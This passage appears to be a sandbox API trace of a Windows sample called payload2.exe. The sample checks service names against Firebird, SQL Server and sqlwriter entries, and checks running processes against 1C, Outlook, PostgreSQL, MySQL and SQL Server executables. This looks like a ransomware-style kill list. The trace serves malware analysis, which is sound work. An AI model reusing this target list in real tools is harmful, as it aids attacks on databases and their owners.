(lpString="SENS") returned 4 [0060.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.450] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.450] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.450] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.450] lstrlenW (lpString="Spooler") returned 7 [0060.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.450] lstrlenW (lpString="swprv") returned 5 [0060.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0060.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0060.450] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0060.450] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0060.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0060.450] lstrlenW (lpString="SysMain") returned 7 [0060.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.450] lstrlenW (lpString="Themes") returned 6 [0060.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.451] lstrlenW (lpString="TrkWks") returned 6 [0060.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.451] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.451] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.451] lstrlenW (lpString="UxSms") returned 5 [0060.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.451] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.451] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.451] lstrlenW (lpString="VSS") returned 3 [0060.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0060.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0060.451] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0060.451] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0060.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0060.451] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.451] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.451] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.451] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.452] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.452] lstrlenW (lpString="Winmgmt") returned 7 [0060.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.452] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.452] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0060.452] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x254 [0060.454] Process32FirstW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.455] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.456] lstrlenW (lpString="System") returned 6 [0060.456] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.456] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.456] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.456] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.456] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.457] lstrlenW (lpString="smss.exe") returned 8 [0060.457] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.457] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.457] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.457] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.458] lstrlenW (lpString="csrss.exe") returned 9 [0060.458] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.458] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.458] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.458] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.458] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.458] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.458] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.458] lstrlenW (lpString="wininit.exe") returned 11 [0060.458] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.458] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.458] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.459] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.459] lstrlenW (lpString="csrss.exe") returned 9 [0060.459] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.460] lstrlenW (lpString="winlogon.exe") returned 12 [0060.460] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.461] lstrlenW (lpString="services.exe") returned 12 [0060.461] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.462] lstrlenW (lpString="lsass.exe") returned 9 [0060.462] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.462] lstrlenW (lpString="lsm.exe") returned 7 [0060.462] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.463] lstrlenW (lpString="svchost.exe") returned 11 [0060.463] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.464] lstrlenW (lpString="svchost.exe") returned 11 [0060.464] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.464] lstrlenW (lpString="svchost.exe") returned 11 [0060.464] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.465] lstrlenW (lpString="svchost.exe") returned 11 [0060.465] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.466] lstrlenW (lpString="svchost.exe") returned 11 [0060.466] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0060.466] lstrlenW (lpString="audiodg.exe") returned 11 [0060.466] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.467] lstrlenW (lpString="svchost.exe") returned 11 [0060.467] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.468] lstrlenW (lpString="svchost.exe") returned 11 [0060.468] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0060.468] lstrlenW (lpString="dwm.exe") returned 7 [0060.468] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0060.469] lstrlenW (lpString="explorer.exe") returned 12 [0060.469] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0060.470] lstrlenW (lpString="spoolsv.exe") returned 11 [0060.470] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.470] lstrlenW (lpString="taskhost.exe") returned 12 [0060.470] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.471] lstrlenW (lpString="svchost.exe") returned 11 [0060.471] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0060.472] lstrlenW (lpString="taskeng.exe") returned 11 [0060.472] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0060.472] lstrlenW (lpString="taskhost.exe") returned 12 [0060.472] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0060.473] lstrlenW (lpString="presidential.exe") returned 16 [0060.473] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0060.474] lstrlenW (lpString="ol-filing.exe") returned 13 [0060.474] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0060.474] lstrlenW (lpString="overcome.exe") returned 12 [0060.474] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0060.475] lstrlenW (lpString="declinedreferral.exe") returned 20 [0060.475] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0060.476] lstrlenW (lpString="franciscotrack.exe") returned 18 [0060.476] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0060.493] lstrlenW (lpString="nicholas.exe") returned 12 [0060.493] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0060.494] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0060.494] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0060.495] lstrlenW (lpString="word.exe") returned 8 [0060.495] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0060.495] lstrlenW (lpString="semestermeta.exe") returned 16 [0060.496] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0060.496] lstrlenW (lpString="reflects.exe") returned 12 [0060.496] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0060.497] lstrlenW (lpString="beveragesradios.exe") returned 19 [0060.497] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0060.498] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0060.498] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0060.498] lstrlenW (lpString="ground.exe") returned 10 [0060.498] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0060.499] lstrlenW (lpString="least.exe") returned 9 [0060.499] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0060.500] lstrlenW (lpString="meetings.exe") returned 12 [0060.500] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0060.500] lstrlenW (lpString="wooltestimony.exe") returned 17 [0060.500] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0060.501] lstrlenW (lpString="inexpensive.exe") returned 15 [0060.501] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0060.502] lstrlenW (lpString="er-amd.exe") returned 10 [0060.502] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0060.502] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0060.502] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.503] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.503] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0060.504] lstrlenW (lpString="payload2.exe") returned 12 [0060.504] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.504] lstrlenW (lpString="cmd.exe") returned 7 [0060.504] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.505] lstrlenW (lpString="conhost.exe") returned 11 [0060.505] Process32NextW (in: hSnapshot=0x254, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, 